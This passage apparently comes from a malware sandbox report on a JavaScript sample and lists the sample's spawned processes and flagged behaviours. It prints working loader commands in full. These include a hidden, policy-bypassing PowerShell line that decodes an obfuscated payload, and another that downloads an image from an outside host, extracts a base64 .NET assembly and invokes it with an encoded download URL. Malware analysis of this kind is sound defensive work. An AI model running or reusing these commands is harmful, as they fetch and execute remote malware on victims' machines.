ÇKuJwzUbPÇKugzUbPÇKuCwzUbPÇKuIzUbPÇKuzUbPÇKunzUbPÇKuEYzUbPÇKuaQByzUbPÇKuGUzUbPÇKuZgBvzUbPÇKuHgzUbPÇKucwzUbPÇKunzUbPÇKuCzUbPÇKuzUbPÇKuLzUbPÇKuzUbPÇKugzUbPÇKuCczUbPÇKuMQzUbPÇKunzUbPÇKuCzUbPÇKuzUbPÇKuLzUbPÇKuzUbPÇKugzUbPÇKuCczUbPÇKuQwzUbPÇKu6zUbPÇKuFwzUbPÇKuVwBpzUbPÇKuG4zUbPÇKuZzUbPÇKuBvzUbPÇKuHczUbPÇKucwBczUbPÇKuFQzUbPÇKuZQBtzUbPÇKuHzUbPÇKuzUbPÇKuXzUbPÇKuzUbPÇKunzUbPÇKuCwzUbPÇKuIzUbPÇKuzUbPÇKunzUbPÇKuEYzUbPÇKuaQByzUbPÇKuGUzUbPÇKuZgBvzUbPÇKuHgzUbPÇKucwzUbPÇKunzUbPÇKuCkzUbPÇKuKQzUbPÇKu=';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('zUbPÇKu','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
parent_process	powershell.exe	martian_process	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://imageupload.io/ib/WJveX71agmOQ6Gw_1698762642.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0LmVub3pyYVc1NDMyMS9lbGlmLzIxMi4zMTEuNTcxLjcwMS8vOnB0dGg=' , '' , '2' , 'Firefoxs' , '1' , 'C:\Windows\Temp\', 'Firefoxs'))"
parent_process	wscript.exe	martian_process	"C:\Windows\System32\cscript.exe" C:\Users\test22\AppData\Local\Temp\ZtZrXNAbFDXYomOuLGEMSiBJOBDoapJNRAmytqVsfxPgsEVXFUaakNCAHFIQYATzzYtnzWAoKyvemypxhhmSPkLCuqUWYhWaIBRvZCENNviwxaZppSGgXcFgmObRIIpEXPkYtyuuQZasSYOQjlbLDd.vbs
parent_process	wscript.exe	martian_process	cscript.exe C:\Users\test22\AppData\Local\Temp\ZtZrXNAbFDXYomOuLGEMSiBJOBDoapJNRAmytqVsfxPgsEVXFUaakNCAHFIQYATzzYtnzWAoKyvemypxhhmSPkLCuqUWYhWaIBRvZCENNviwxaZppSGgXcFgmObRIIpEXPkYtyuuQZasSYOQjlbLDd.vbs

Creates a suspicious Powershell process (9 events)

option	-executionpolicy bypass	value	Attempts to bypass execution policy
option	-noprofile	value	Does not load current user profile
option	-windowstyle hidden	value	Attempts to execute command with a hidden window
option	-executionpolicy bypass	value	Attempts to bypass execution policy
option	-noprofile	value	Does not load current user profile
option	-windowstyle hidden	value	Attempts to execute command with a hidden window
option	-executionpolicy bypass	value	Attempts to bypass execution policy
option	-noprofile	value	Does not load current user profile
option	-windowstyle hidden	value	Attempts to execute command with a hidden window

The processes wscript.exe, powershell.exe wrote an executable file to disk which it then attempted to execute (2 events)

file	C:\Windows\System32\cscript.exe
file	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

1stANzasWQA435786990Mqa9.js

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All